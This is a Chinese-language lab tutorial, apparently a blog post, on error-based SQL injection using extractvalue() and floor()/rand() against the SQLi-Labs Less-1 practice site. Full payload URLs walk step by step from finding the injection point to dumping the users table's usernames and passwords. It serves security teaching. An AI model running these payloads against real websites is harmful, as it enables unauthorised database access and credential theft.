• 网络安全——SQL报错注入


    一、SQL报错注入概述

    1、原理

    (1)、Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上

    (2)、后台未对一些具有报错功能的函数(例:extractvalue、updatexml等)进行过滤

    (3)、通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名、版本号、用户名等)通过页面的错误提示回显出来

     2、Xpath类型函数

     

     3、其他函数

     

     二、SQL报错注入实例一

    (1)关于报错注入

    基于报错的注入,是指通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名、版本号、用户名等)通过页面的错误提示回显出来。
    报错注入一般需要具备两个前提条件:(1)Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上;(2)后台未对一些具有报错功能的函数进行过滤。
    常用的报错功能函数包括extractvalue()、updatexml()、floor()、exp()等。

    (2)关于extractvalue()函数

    作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
    语法:extractvalue(XML_document, XPath_string)
    参数1:XML_document是String格式,为XML文档对象的名称;
    参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方。
    报错原理:xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx’。

    实验步骤

    以SQLi-Labs网站的Less-1为入口,借助extractvalue()函数,利用基于报错的注入方式获取SQLi-Labs网站的登录用户名和密码。

    1.访问SQLi-Labs网站

    访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-1。访问的URL为:

    http://[靶机IP]/sqli-labs/Less-1/
    

    (注意大小写)

    登录后,根据网页提示,先给定一个GET参数,即:

    http://[靶机IP]/sqli-labs/Less-1/?id=1
    

    此时页面显示id=1的用户名Dump、密码Dump。

    2.寻找注入点

    分别使用以下3条payload寻找注入点及判断注入点的类型:

    1. http://[靶机IP]/sqli-labs/Less-1/?id=1'

    运行后报错!

    http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='1
    

    运行后正常显示!

    http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='2
    

    运行后未正常显示!

    由上述结果可以判断,网站存在字符型注入点。

    3.获取网站当前所在数据库的库名

    使用以下payload获取网站当前所在数据库的库名:

    1. http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',database()))--+

    显示结果为security。

    4.获取数据库security的全部表名

    使用以下payload获取数据库security的全部表名:

    1. http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

    显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

    注意:extractvalue() 函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助limit来做分行显示,上述payload可以改为:

    1. http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1)))--+
    2. //显示security库中的第1张表的名字
    3. http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1)))--+
    4. //显示security库中的第2张表的名字
    5. http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1)))--+
    6. //显示security库中的第3张表的名字
    7. ...

    5.获取users表的全部字段名

    使用以下payload获取users表的全部字段名:

    1. http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+

    显示结果,users表中有id、username和password三个字段。

     

    同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助limit来做分行显示,上述payload可以改为:

    1. http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)))--+
    2. //显示users表中的第1个字段的名字
    3. http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1)))--+
    4. //显示users表中的第2个字段的名字
    5. http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1)))--+
    6. //显示users表中的第3个字段的名字
    7. ...

    6.获取users表id、username和password字段的全部值。

    由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如

    (1)显示第1组数据

    1. http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1)))--+

    显示结果为Dump,Dump。

    (2)显示第2组数据

    1. http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1)))--+

    显示结果为Angelina,I-kill-you。

    (3)显示第3组数据

    1. http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 2,1)))--+

    显示结果为Dummy,p@ssword。

     

     以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。


    三、SQL报错注入实例二

    原理:

    (1)关于报错注入

    基于报错的注入,是指通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名、版本号、用户名等)通过页面的错误提示回显出来。
    报错注入一般需要具备两个前提条件:(1)Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上;(2)后台未对一些具有报错功能的函数进行过滤。
    常用的报错功能函数包括extractvalue()、updatexml()、floor()、exp()等。

    (2)关于floor()函数

    在进行报错注入时,floor()函数一般需要与rand()、count()、group by联用。
    作用:
    floor(x):对参数x向下取整;
    rand():生成一个0~1之间的随机浮点数;
    count(*):统计某个表下总共有多少条记录;
    group by x:按照(by)一定的规则(x)进行分组;
    报错原理:floor()函数与group by、rand()联用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如:Duplicate entry ‘…’ for key 'group_key’。

    步骤:

    本实验的目标是:以SQLi-Labs网站的Less-1为入口,借助floor()函数与rand()、count()、group by的联用,利用基于报错的注入方式获取SQLi-Labs网站的登录用户名和密码。

    1.访问SQLi-Labs网站

    在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-1。访问的URL为:

    http://[靶机IP]/sqli-labs/Less-1/
    

    (注意大小写)

    登录后,根据网页提示,先给定一个GET参数,即:

    http://[靶机IP]/sqli-labs/Less-1/?id=1
    

    此时页面显示id=1的用户名Dump、密码Dump。

    2.寻找注入点

    分别使用以下3条payload寻找注入点及判断注入点的类型:

    1. http://[靶机IP]/sqli-labs/Less-1/?id=1'

    运行后报错!

    http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='1
    

    运行后正常显示!

    http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='2
    

    运行后未正常显示!

    由上述结果可以判断,网站存在字符型注入点。

    3.获取网站当前所在数据库的库名

    使用以下payload获取网站当前所在数据库的库名:

    1. http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    显示结果为security。注意:请忽略后面的1。

    4.获取数据库security的全部表名

    使用以下payload获取数据库security的表名:

    1. http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    显示security库中的第1张表的名字为emails。

    1. http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    显示security库中的第2张表的名字为referers。

    1. http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    显示security库中的第3张表的名字为uagents。

    1. http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    显示security库中的第4张表的名字为users。

     以上显示结果中,第4张表users当中可能存放着网站用户的基本信息。

    5.获取users表的全部字段名

    使用以下payload获取users表的字段名:

    1. http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    显示users表中的第1个字段名字为id。

    1. http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    显示users表中的第2个字段名字为username。

     

    1. http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    显示users表中的第3个字段名字为password。

     综合以上显示结果,users表中有id、username和password三个字段。

    6.获取users表id、username和password字段的全部值。

    由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如

    (1)显示第1组数据

    1. http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select concat_ws(',',id,username,password) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    显示结果为Dump,Dump。

    (2)显示第2组数据

    1. http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select concat_ws(',',id,username,password) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    显示结果为Angelina,I-kill-you。

    (3)显示第3组数据

    1. http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select concat_ws(',',id,username,password) from security.users limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    显示结果为Dummy,p@ssword。

     以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。


    这篇文章就写到这里了

  • 相关阅读:
    RK3588-EDGE Ubuntu文件系统制作配置及问题处理
    13_cgi
    TPM零知识学习二—— 相关链接和页面
    代码随想录第六十天
    java-php-python-ssm点餐系统计算机毕业设计
    介绍 TensorFlow 的基本概念和使用场景
    c++ 字符串分割 思路 代码 测试案例
    【数据标注】Label Studio用于机器学习标注
    曾经辛苦造的轮子,现在能否用 ChatGPT 替代呢?
    【第十八篇】- Maven Eclipse
  • 原文地址:https://blog.csdn.net/weixin_54055099/article/details/126842364